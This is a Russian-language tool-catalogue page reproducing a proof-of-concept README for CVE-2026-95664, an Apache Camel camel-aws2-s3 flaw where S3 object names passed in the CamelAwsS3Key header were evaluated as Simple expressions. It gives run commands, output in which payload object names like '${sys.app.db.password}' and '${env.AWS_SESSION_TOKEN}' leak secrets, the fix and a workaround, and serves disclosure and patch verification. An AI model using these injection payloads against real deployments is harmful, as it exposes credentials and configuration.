Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-95664 — Работающий reproducer на Spring Boot и Quarkus для CVE-2026-95664, демонстрирующий инъекцию Simple-выражений через заголовок CamelAwsS3Key в camel-aws2-s3 и проверяющий исправление. | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-95664
Оборонительные ИнструментыАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHuboscerd/cve-2026-95664

CVE-2026-95664

Работающий reproducer на Spring Boot и Quarkus для CVE-2026-95664, демонстрирующий инъекцию Simple-выражений через заголовок CamelAwsS3Key в camel-aws2-s3 и проверяющий исправление.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-95664 — camel-aws2-s3: ключ объекта, переданный в заголовке, вычислялся как выражение Simple

Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой producer camel-aws2-s3 брал ключ объекта из заголовка сообщения CamelAwsS3Key и — начиная с 4.8.0 — AWS2S3Utils.determineKey() передавал это значение в язык Simple всякий раз, когда оно содержало ${ или $simple{, чтобы маршрут мог использовать динамический ключ. Вычисление применялось к значению, взятому из заголовка, в той же мере, что и к опции keyName, настроенной маршрутом.

Среда выполненияКаталогСтек
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-aws2-s3 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0)

Почему это важно

Заголовок — это не конфигурация маршрута. Consumer aws2-s3 устанавливает CamelAwsS3Key в каждом exchange, который он создаёт, равным ключу прочитанного им объекта — то есть имени объекта в бакете. В маршруте, который не делает ничего, кроме потребления из одной конечной точки aws2-s3 и отправки в другую, имя каждого потреблённого объекта, таким образом, достигало producer и вычислялось.

Любой, кто способен выбрать имя объекта в бакете, из которого потребляет такой маршрут, — как правило, любой principal, которому разрешена загрузка в него, — мог добиться вычисления выбранных им выражений Simple внутри процесса Camel. Simple может читать системные свойства JVM, переменные окружения и свойства конфигурации, которые обычно содержат учётные данные, а при наличии camel-bean в classpath — вызывать методы у бинов реестра.

Настройка keyName на producer не являлась защитой, поскольку заголовок имеет приоритет над ней.

Запуск

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

Вывод на уязвимой сборке (идентичен в обеих средах выполнения):

Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client&region=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.

Values the deployment holds but the route never references:
  system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
  environment AWS_SESSION_TOKEN    = ENV-SESSION-TOKEN-s3cr3t-88

1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
     key the producer wrote: [invoice-2026.pdf]

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
     the JVM system property was resolved into the key: true

3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
     key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
     the environment variable was resolved into the key: true

4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
     key the producer wrote: [route1-D953127238C9F86-0000000000000000]
     evaluated rather than used literally: true

5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
     key the producer wrote: [archived.txt]
     the configured keyName was used instead: true

>>> PROVEN: ...

Probe 5 — это обходной путь, который рекомендации предлагают для развёртываний, пока не имеющих возможности обновиться, показанный в работе.

Как это устроено

Без аккаунта AWS и без сети. Воспроизведение регистрирует записывающую заглушку для S3 (amazonS3Client=#s3Client), которая фиксирует ключ, который producer фактически запросил для записи — единственное, что нужно наблюдать. Запускаются настоящий AWS2S3Producer и настоящий AWS2S3Utils.determineKey(); перехватывается только вызов SDK в самом конце.

Драйвер устанавливает CamelAwsS3Key в имя потреблённого объекта, что в точности соответствует тому, что делает consumer aws2-s3, поэтому стороне consumer не нужен собственный бакет.

Заглушка также отвечает на headBucket, потому что AWS2S3Endpoint.doStart() проверяет существование бакета перед запуском маршрута. Эта проверка не связана с уязвимостью.

Сводка уязвимости

СвойствоЗначение
Компонентcamel-aws2-s3 (AWS2S3Utils.determineKey())
CWECWE-917 (инъекция выражений языка)
КритичностьСредняя
Вектор атакиИмя объекта в бакете, который потребляет маршрут aws2-s3, содержащее ${ или $simple{, передаваемое в producer через CamelAwsS3Key
ВоздействиеВычисление Simple-выражений в процессе Camel: чтение системных свойств, переменных окружения и свойств конфигурации; вызов методов на бинах реестра при наличии camel-bean
Затронутые версииС 4.8.0 до 4.18.5, с 4.19.0 до 4.22.2 (в релизах до 4.8.0 значение заголовка использовалось как есть, и они не затронуты)
Исправленные версии4.18.5, 4.22.2, 4.23.0
JIRACAMEL-24901
БлагодарностьAndrea Cosentino из Apache Software Foundation

Рекомендация: https://camel.apache.org/security/CVE-2026-95664.html

Имя бакета проходило ту же самую оценку, но consumer всегда помещает в заголовок бакета только бакет, настроенный на его собственном endpoint, и никогда — значение, полученное из удалённого объекта, поэтому имя бакета таким способом было недостижимо.

Исправление

Только ключ, настроенный маршрутом, может быть динамическим Simple-выражением. Ключ, переданный через заголовок, теперь используется буквально и никогда не вычисляется:

String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
    // only the configured key (supplied by the route) may be a dynamic simple expression;
    // a key provided through the header is used literally and never evaluated
    key = configuration.getKeyName();
    if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}

Исправлено в main в apache/camel#26746 (1fd7a667), с бэкпортами в camel-4.22.x и camel-4.18.x.

После обновления имя ключа или бакета, переданное через заголовок сообщения, используется буквально — поэтому маршрут, который намеренно помещал невычисленное выражение Simple в CamelAwsS3Key или CamelAwsS3OverrideBucketName, теперь должен вычислять его в самом маршруте (setHeader(..., simple(...))) или настраивать его как опцию эндпоинта keyName / bucketName.

Проверка исправленной сборки

Установите camel.version в 4.22.2 и запустите снова. Проверено на 4.22.1 → 4.22.2:

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [${sys.app.db.password}]
     the JVM system property was resolved into the key: false

4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
     evaluated rather than used literally: false

>>> NOT reproduced: the header was used literally.

Отказ от ответственности

Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять уязвимость, проверить, затронуты ли они, и убедиться, что обновление устраняет её. Не используйте этот материал против систем, которыми вы не владеете и не управляете.

Скачать инструмент